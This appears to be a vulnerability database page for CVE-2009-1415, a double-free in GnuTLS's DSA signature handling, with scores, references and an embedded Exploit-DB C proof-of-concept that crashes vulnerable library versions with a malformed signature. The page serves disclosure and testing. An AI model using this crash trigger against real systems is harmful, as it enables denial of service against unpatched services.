CVE-2009-1415 : Detail

CVE-2009-1415

Overflow
17.76%V4
Network
2009-04-30
18h00 +00:00
2017-08-16
12h57 +00:00
CVE.org
NVD
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CVE Descriptions

lib/pk-libgcrypt.c in libgnutls in GnuTLS before 2.6.6 does not properly handle invalid DSA signatures, which allows remote attackers to cause a denial of service (application crash) and possibly have unspecified other impact via a malformed DSA key that triggers a (1) free of an uninitialized pointer or (2) double free.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-824 Access of Uninitialized Pointer
The product accesses or uses a pointer that has not been initialized.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 32964

Publication date : 2009-04-29 22h00 +00:00
Author : Miroslav Kratochvil
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/34783/info GnuTLS is prone to multiple remote vulnerabilities: - A remote code-execution vulnerability - A denial-of-service vulnerability - A signature-generation vulnerability - A signature-verification vulnerability An attacker can exploit these issues to potentially execute arbitrary code, trigger denial-of-service conditions, carry out attacks against data signed with weak signatures, and cause clients to accept expired or invalid certificates from servers. Versions prior to GnuTLS 2.6.6 are vulnerable. /* * Small code to reproduce the CVE-2009-1415 double-free problem. * * Build it using: * * gcc -o cve-2009-1415 cve-2009-1415.c -lgnutls * * If your gnutls library is OK then running it will just print 'success!'. * * If your gnutls library is buggy, then running it will crash like this: * * ** glibc detected *** ./cve-2009-1415: munmap_chunk(): invalid pointer: 0xb7f80a9c *** * ======= Backtrace: ========= * ... */ #include <stdio.h> #include <stdarg.h> #include <stdlib.h> #include <gnutls/gnutls.h> static char dsa_cert[] = "-----BEGIN CERTIFICATE-----\n" "MIIDbzCCAtqgAwIBAgIERiYdRTALBgkqhkiG9w0BAQUwGTEXMBUGA1UEAxMOR251\n" "VExTIHRlc3QgQ0EwHhcNMDcwNDE4MTMyOTQxWhcNMDgwNDE3MTMyOTQxWjA3MRsw\n" "GQYDVQQKExJHbnVUTFMgdGVzdCBzZXJ2ZXIxGDAWBgNVBAMTD3Rlc3QuZ251dGxz\n" "Lm9yZzCCAbQwggEpBgcqhkjOOAQBMIIBHAKBgLmE9VqBvhoNxYpzjwybL5u2DkvD\n" "dBp/ZK2d8yjFoEe8m1dW8ZfVfjcD6fJM9OOLfzCjXS+7oaI3wuo1jx+xX6aiXwHx\n" "IzYr5E8vLd2d1TqmOa96UXzSJY6XdM8exXtLdkOBBx8GFLhuWBLhkOI3b9Ib7GjF\n" "WOLmMOBqXixjeOwHAhSfVoxIZC/+jap6bZbbBF0W7wilcQKBgGIGfuRcdgi3Rhpd\n" "15fUKiH7HzHJ0vT6Odgn0Zv8J12nCqca/FPBL0PCN8iFfz1Mq12BMvsdXh5UERYg\n" "xoBa2YybQ/Dda6D0w/KKnDnSHHsP7/ook4/SoSLr3OCKi60oDs/vCYXpNr2LelDV\n" "e/clDWxgEcTvcJDP1hvru47GPjqXA4GEAAKBgA+Kh1fy0cLcrN9Liw+Luin34QPk\n" "VfqymAfW/RKxgLz1urRQ1H+gDkPnn8l4EV/l5Awsa2qkNdy9VOVgNpox0YpZbmsc\n" "ur0uuut8h+/ayN2h66SD5out+vqOW9c3yDI+lsI+9EPafZECD7e8+O+P90EAXpbf\n" "DwiW3Oqy6QaCr9Ivo4GTMIGQMAwGA1UdEwEB/wQCMAAwGgYDVR0RBBMwEYIPdGVz\n" "dC5nbnV0bHMub3JnMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdDwEB/wQFAwMH\n" "gAAwHQYDVR0OBBYEFL/su87Y6HtwVuzz0SuS1tSZClvzMB8GA1UdIwQYMBaAFOk8\n" "HPutkm7mBqRWLKLhwFMnyPKVMAsGCSqGSIb3DQEBBQOBgQBCsrnfD1xzh8/Eih1f\n" "x+M0lPoX1Re5L2ElHI6DJpHYOBPwf9glwxnet2+avzgUQDUFwUSxOhodpyeaACXD\n" "o0gGVpcH8sOBTQ+aTdM37hGkPxoXjtIkR/LgG5nP2H2JRd5TkW8l13JdM4MJFB4W\n" "QcDzQ8REwidsfh9uKAluk1c/KQ==\n" "-----END CERTIFICATE-----\n"; const gnutls_datum_t dsa_cert_dat = { dsa_cert, sizeof (dsa_cert) }; int main (void) { gnutls_x509_crt_t crt; gnutls_datum_t data = { "foo", 3 }; gnutls_datum_t sig = { "bar", 3 }; int ret; gnutls_global_init (); ret = gnutls_x509_crt_init (&crt); if (ret < 0) return 1; ret = gnutls_x509_crt_import (crt, &dsa_cert_dat, GNUTLS_X509_FMT_PEM); if (ret < 0) return 1; ret = gnutls_x509_crt_verify_data (crt, 0, &data, &sig); if (ret < 0) return 1; printf ("success!\n"); gnutls_x509_crt_deinit (crt); gnutls_global_deinit (); return 0; }

Products Mentioned

Configuraton 0

Gnu>>Gnutls >> Version To (excluding) 2.6.6

References

http://www.vupen.com/english/advisories/2009/1218
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/34783
Tags : vdb-entry, x_refsource_BID
http://security.gentoo.org/glsa/glsa-200905-04.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securitytracker.com/id?1022157
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/34842
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/35211
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2009:116
Tags : vendor-advisory, x_refsource_MANDRIVA
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.